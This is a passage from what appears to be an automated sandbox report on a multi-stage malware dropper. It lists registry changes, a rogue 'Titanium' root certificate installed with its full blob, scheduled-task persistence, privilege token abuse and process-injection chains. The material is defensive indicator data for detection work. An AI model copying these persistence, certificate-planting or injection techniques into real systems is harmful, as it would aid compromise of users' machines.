Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-45-41-80-d4-fb\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-45-41-80-d4-fb\WpadDecisionReason = "1"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Printers\DevModePerUser	spoolsv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-45-41-80-d4-fb\WpadDecisionTime = 84dd76e62f41db01	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Printers\ConvertUserDevModesCount	spoolsv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE

Modifies registry class 37 IoCs

Processes:

Guide2018.exexrmcsj.exeExplorer.EXEWScript.exe

description	ioc	Process
Key created	\Registry\User\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\NotificationData	Guide2018.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	Guide2018.exe
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings	Guide2018.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Guide2018.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Guide2018.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Guide2018.exe
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	Guide2018.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	Guide2018.exe
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Guide2018.exe
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Guide2018.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	Guide2018.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1092616257"	Guide2018.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Guide2018.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Guide2018.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	Guide2018.exe
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Guide2018.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Mode = "4"	Guide2018.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	Guide2018.exe
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings	xrmcsj.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Guide2018.exe
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	Guide2018.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Guide2018.exe
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Guide2018.exe
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Guide2018.exe
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Guide2018.exe
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Guide2018.exe
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg	Guide2018.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	Guide2018.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Guide2018.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Guide2018.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	Guide2018.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	Guide2018.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	Guide2018.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	Guide2018.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	WScript.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	Guide2018.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

Processes:

kiyan.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	kiyan.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	kiyan.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid	Process
356	schtasks.exe
1884	schtasks.exe
988	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

wnxddd.exe

pid	Process
2232	wnxddd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

RedSystem.exepowershell.exeUpdater.vbs.exe1109125257.exepowershell.exeClient.exe2066210983.exepowershell.exeRuntime Broker.exewinupsecvmgr.exepowershell.exe

pid	Process
432	RedSystem.exe
432	RedSystem.exe
432	RedSystem.exe
432	RedSystem.exe
432	RedSystem.exe
432	RedSystem.exe
2324	powershell.exe
2324	powershell.exe
1108	Updater.vbs.exe
1108	Updater.vbs.exe
1708	1109125257.exe
1708	1109125257.exe
5096	powershell.exe
5096	powershell.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
3996	Client.exe
1108	Updater.vbs.exe
1108	Updater.vbs.exe
4744	2066210983.exe
4744	2066210983.exe
5072	powershell.exe
5072	powershell.exe
4744	2066210983.exe
4744	2066210983.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
464	Runtime Broker.exe
4412	winupsecvmgr.exe
4412	winupsecvmgr.exe
3532	powershell.exe
3532	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Runtime Broker.exe

pid	Process
464	Runtime Broker.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

cluton.exe

pid	Process
2532	cluton.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

Processes:

msedge.exe

pid	Process
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

4363463463464363463463463.exeOneDrive.exepowershell.exewnxddd.exeOneDrive.exeUpdater.vbs.exe1109125257.exepowershell.exeClient.exeOneDrive.exesvchost.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	4988	4363463463464363463463463.exe
Token: SeDebugPrivilege	2204	OneDrive.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	2204	OneDrive.exe
Token: SeDebugPrivilege	2204	OneDrive.exe
Token: SeDebugPrivilege	2232	wnxddd.exe
Token: SeDebugPrivilege	2232	wnxddd.exe
Token: SeDebugPrivilege	3140	OneDrive.exe
Token: SeDebugPrivilege	1108	Updater.vbs.exe
Token: SeDebugPrivilege	1708	1109125257.exe
Token: SeDebugPrivilege	5096	powershell.exe
Token: SeDebugPrivilege	3996	Client.exe
Token: SeDebugPrivilege	3996	Client.exe
Token: SeDebugPrivilege	1108	Updater.vbs.exe
Token: SeDebugPrivilege	3640	OneDrive.exe
Token: SeDebugPrivilege	3932	svchost.exe
Token: SeDebugPrivilege	3932	svchost.exe
Token: SeDebugPrivilege	5072	powershell.exe
Token: SeIncreaseQuotaPrivilege	5072	powershell.exe
Token: SeSecurityPrivilege	5072	powershell.exe
Token: SeTakeOwnershipPrivilege	5072	powershell.exe
Token: SeLoadDriverPrivilege	5072	powershell.exe
Token: SeSystemProfilePrivilege	5072	powershell.exe
Token: SeSystemtimePrivilege	5072	powershell.exe
Token: SeProfSingleProcessPrivilege	5072	powershell.exe
Token: SeIncBasePriorityPrivilege	5072	powershell.exe
Token: SeCreatePagefilePrivilege	5072	powershell.exe
Token: SeBackupPrivilege	5072	powershell.exe
Token: SeRestorePrivilege	5072	powershell.exe
Token: SeShutdownPrivilege	5072	powershell.exe
Token: SeDebugPrivilege	5072	powershell.exe
Token: SeSystemEnvironmentPrivilege	5072	powershell.exe
Token: SeRemoteShutdownPrivilege	5072	powershell.exe
Token: SeUndockPrivilege	5072	powershell.exe
Token: SeManageVolumePrivilege	5072	powershell.exe
Token: 33	5072	powershell.exe
Token: 34	5072	powershell.exe
Token: 35	5072	powershell.exe
Token: 36	5072	powershell.exe
Token: SeIncreaseQuotaPrivilege	5072	powershell.exe
Token: SeSecurityPrivilege	5072	powershell.exe
Token: SeTakeOwnershipPrivilege	5072	powershell.exe
Token: SeLoadDriverPrivilege	5072	powershell.exe
Token: SeSystemProfilePrivilege	5072	powershell.exe
Token: SeSystemtimePrivilege	5072	powershell.exe
Token: SeProfSingleProcessPrivilege	5072	powershell.exe
Token: SeIncBasePriorityPrivilege	5072	powershell.exe
Token: SeCreatePagefilePrivilege	5072	powershell.exe
Token: SeBackupPrivilege	5072	powershell.exe
Token: SeRestorePrivilege	5072	powershell.exe
Token: SeShutdownPrivilege	5072	powershell.exe
Token: SeDebugPrivilege	5072	powershell.exe
Token: SeSystemEnvironmentPrivilege	5072	powershell.exe
Token: SeRemoteShutdownPrivilege	5072	powershell.exe
Token: SeUndockPrivilege	5072	powershell.exe
Token: SeManageVolumePrivilege	5072	powershell.exe
Token: 33	5072	powershell.exe
Token: 34	5072	powershell.exe
Token: 35	5072	powershell.exe
Token: 36	5072	powershell.exe
Token: SeIncreaseQuotaPrivilege	5072	powershell.exe
Token: SeSecurityPrivilege	5072	powershell.exe
Token: SeTakeOwnershipPrivilege	5072	powershell.exe
Token: SeLoadDriverPrivilege	5072	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

dwm.exe

pid	Process
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

dwm.exe

pid	Process
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe
1492	dwm.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

ktyhpldea.exetstory.exeGuide2018.exe

pid	Process
6364	ktyhpldea.exe
4520	tstory.exe
4104	Guide2018.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

4363463463464363463463463.exesvhosts.exeOneDrive.exewnxddd.exetdrpl.exexrmcsj.exeWScript.exesysnldcvmr.exe1109125257.execmd.execmd.exe

description	pid	Process	procid_target
PID 4988 wrote to memory of 432	4988	4363463463464363463463463.exe	78
PID 4988 wrote to memory of 432	4988	4363463463464363463463463.exe	78
PID 4988 wrote to memory of 432	4988	4363463463464363463463463.exe	78
PID 4988 wrote to memory of 2876	4988	4363463463464363463463463.exe	79
PID 4988 wrote to memory of 2876	4988	4363463463464363463463463.exe	79
PID 4988 wrote to memory of 664	4988	4363463463464363463463463.exe	80
PID 4988 wrote to memory of 664	4988	4363463463464363463463463.exe	80
PID 4988 wrote to memory of 664	4988	4363463463464363463463463.exe	80
PID 664 wrote to memory of 336	664	svhosts.exe	82
PID 664 wrote to memory of 336	664	svhosts.exe	82
PID 664 wrote to memory of 336	664	svhosts.exe	82
PID 664 wrote to memory of 336	664	svhosts.exe	82
PID 664 wrote to memory of 336	664	svhosts.exe	82
PID 664 wrote to memory of 336	664	svhosts.exe	82
PID 664 wrote to memory of 336	664	svhosts.exe	82
PID 664 wrote to memory of 336	664	svhosts.exe	82
PID 664 wrote to memory of 336	664	svhosts.exe	82
PID 664 wrote to memory of 336	664	svhosts.exe	82
PID 4988 wrote to memory of 2204	4988	4363463463464363463463463.exe	83
PID 4988 wrote to memory of 2204	4988	4363463463464363463463463.exe	83
PID 2204 wrote to memory of 2324	2204	OneDrive.exe	89
PID 2204 wrote to memory of 2324	2204	OneDrive.exe	89
PID 4988 wrote to memory of 2808	4988	4363463463464363463463463.exe	91
PID 4988 wrote to memory of 2808	4988	4363463463464363463463463.exe	91
PID 4988 wrote to memory of 4624	4988	4363463463464363463463463.exe	92
PID 4988 wrote to memory of 4624	4988	4363463463464363463463463.exe	92
PID 2204 wrote to memory of 2232	2204	OneDrive.exe	94
PID 2204 wrote to memory of 2232	2204	OneDrive.exe	94
PID 2232 wrote to memory of 356	2232	wnxddd.exe	95
PID 2232 wrote to memory of 356	2232	wnxddd.exe	95
PID 4988 wrote to memory of 3076	4988	4363463463464363463463463.exe	97
PID 4988 wrote to memory of 3076	4988	4363463463464363463463463.exe	97
PID 4988 wrote to memory of 3076	4988	4363463463464363463463463.exe	97
PID 3076 wrote to memory of 3160	3076	tdrpl.exe	98
PID 3076 wrote to memory of 3160	3076	tdrpl.exe	98
PID 3076 wrote to memory of 3160	3076	tdrpl.exe	98
PID 2204 wrote to memory of 4948	2204	OneDrive.exe	99
PID 2204 wrote to memory of 4948	2204	OneDrive.exe	99
PID 4948 wrote to memory of 4828	4948	xrmcsj.exe	100
PID 4948 wrote to memory of 4828	4948	xrmcsj.exe	100
PID 4948 wrote to memory of 3140	4948	xrmcsj.exe	101
PID 4948 wrote to memory of 3140	4948	xrmcsj.exe	101
PID 4828 wrote to memory of 1108	4828	WScript.exe	104
PID 4828 wrote to memory of 1108	4828	WScript.exe	104
PID 3160 wrote to memory of 1708	3160	sysnldcvmr.exe	106
PID 3160 wrote to memory of 1708	3160	sysnldcvmr.exe	106
PID 1708 wrote to memory of 3404	1708	1109125257.exe	107
PID 1708 wrote to memory of 3404	1708	1109125257.exe	107
PID 1708 wrote to memory of 2972	1708	1109125257.exe	109
PID 1708 wrote to memory of 2972	1708	1109125257.exe	109
PID 3404 wrote to memory of 3764	3404	cmd.exe	111
PID 3404 wrote to memory of 3764	3404	cmd.exe	111
PID 2972 wrote to memory of 1584	2972	cmd.exe	112
PID 2972 wrote to memory of 1584	2972	cmd.exe	112
PID 3160 wrote to memory of 908	3160	sysnldcvmr.exe	113
PID 3160 wrote to memory of 908	3160	sysnldcvmr.exe	113
PID 3160 wrote to memory of 908	3160	sysnldcvmr.exe	113
PID 4988 wrote to memory of 4304	4988	4363463463464363463463463.exe	114
PID 4988 wrote to memory of 4304	4988	4363463463464363463463463.exe	114
PID 4988 wrote to memory of 4304	4988	4363463463464363463463463.exe	114
PID 4988 wrote to memory of 3592	4988	4363463463464363463463463.exe	115
PID 4988 wrote to memory of 3592	4988	4363463463464363463463463.exe	115
PID 4988 wrote to memory of 3592	4988	4363463463464363463463463.exe	115
PID 4988 wrote to memory of 236	4988	4363463463464363463463463.exe	116

